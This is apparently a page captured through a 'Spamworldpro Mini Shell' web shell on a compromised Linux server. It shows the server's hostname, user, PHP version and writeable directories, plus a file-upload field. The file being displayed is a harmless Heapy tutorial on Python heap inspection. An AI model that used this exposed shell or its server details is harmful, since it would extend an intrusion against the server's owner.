Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux indy02.toastserver.com 3.10.0-962.3.2.lve1.5.85.el7.x86_64 #1 SMP Thu Apr 18 15:18:36 UTC 2024 x86_64
User : palandch ( 1163)
PHP Version : 7.1.33
Disable Function : NONE
Directory :  /opt/alt/python27/lib64/python2.7/site-packages/guppy/doc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //opt/alt/python27/lib64/python2.7/site-packages/guppy/doc/heapy_tutorial.html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN"
   "http://www.w3.org/TR/REC-html40/strict.dtd">

<html lang=en>
 <head>
  <meta http-equiv='Content-Type' content='text/html; charset=utf-8'>
  <title> Getting started with Heapy</title>
  <link rel='stylesheet' href='css/guppy.css'></head>
 <body>
  <div>
  <h2>
 Getting started with Heapy
</h2>
  <h3>
 Usage example
</h3>
  <p>
 The following example shows
</p>
  <ol>
   <li> How to create the session context: hp=hpy()</li>
   <li> How to use the interactive help: hp.doc, hp.doc.doc</li>
   <li> How to show the reachable objects in the heap: hp.heap()</li>
   <li> How to create and show a set of objects: hp.iso(1,[],{})</li>
   <li> How to show the shortest paths from the root to x: hp.iso(x).sp</li></ol>
  <pre>
&gt;&gt;&gt; from guppy import hpy; hp=hpy()
&gt;&gt;&gt; hp
Top level interface to Heapy.
Use eg: hp.doc for more info on hp.
&gt;&gt;&gt; hp.doc
Top level interface to Heapy. Available attributes:
Anything            Nothing             Via                 iso
Class               Rcs                 doc                 load
Clodo               Root                findex              monitor
Id                  Size                heap                pb
Idset               Type                heapu               setref
Module              Unity               idset               test
Use eg: hp.doc.&lt;attribute&gt; for info on &lt;attribute&gt;.
&gt;&gt;&gt; hp.doc.doc
Overview documentation for top level Heapy object.
Provides a listing of the available attributes.
Accessing the attribute name on the doc objects gives further info, eg:

    &gt;&gt;&gt; hp.doc.heap

gives doc for the heap method when hp is the top level Heapy object.

References may be embedded in the documentations. To access a
reference, opening up a web browser with the doc for it one can do eg:

    &gt;&gt;&gt; hp.doc.heap[1]

The reference number 0 is special. If it is provided, it is the
reference to the html doc for the described object itself. So to see
in the web browser the doc for the heap method one can do:

    &gt;&gt;&gt; hp.doc.heap[0]

References
    [0] heapy_Use.html#heapykinds.Use.doc
&gt;&gt;&gt; hp.heap()
Partition of a set of 48477 objects. Total size = 3265516 bytes.
 Index  Count   %     Size   % Cumulative  % Kind (class / dict of class)
     0  25773  53  1612820  49   1612820  49 str
     1  11699  24   483960  15   2096780  64 tuple
     2    174   0   241584   7   2338364  72 dict of module
     3   3478   7   222592   7   2560956  78 types.CodeType
     4   3296   7   184576   6   2745532  84 function
     5    401   1   175112   5   2920644  89 dict of class
     6    108   0    81888   3   3002532  92 dict (no owner)
     7    114   0    79632   2   3082164  94 dict of type
     8    117   0    51336   2   3133500  96 type
     9    667   1    24012   1   3157512  97 __builtin__.wrapper_descriptor
&lt;76 more rows. Type e.g. '_.more' to view.&gt;
&gt;&gt;&gt; hp.iso(1,[],{})
Partition of a set of 3 objects. Total size = 176 bytes.
 Index  Count   %     Size   % Cumulative  % Kind (class / dict of class)
     0      1  33      136  77       136  77 dict (no owner)
     1      1  33       28  16       164  93 list
     2      1  33       12   7       176 100 int
&gt;&gt;&gt; x=[]
&gt;&gt;&gt; hp.iso(x).sp
 0: hp.Root.i0_modules['__main__'].__dict__['x']
&gt;&gt;&gt; </pre>
  <hr>Generated by <a href="http://guppy-pe.sourceforge.net/gsl.html">GSL-HTML 0.1.5</a> on Sat Jul  4 13:25:11 2009</div></body></html>

Spamworldpro Mini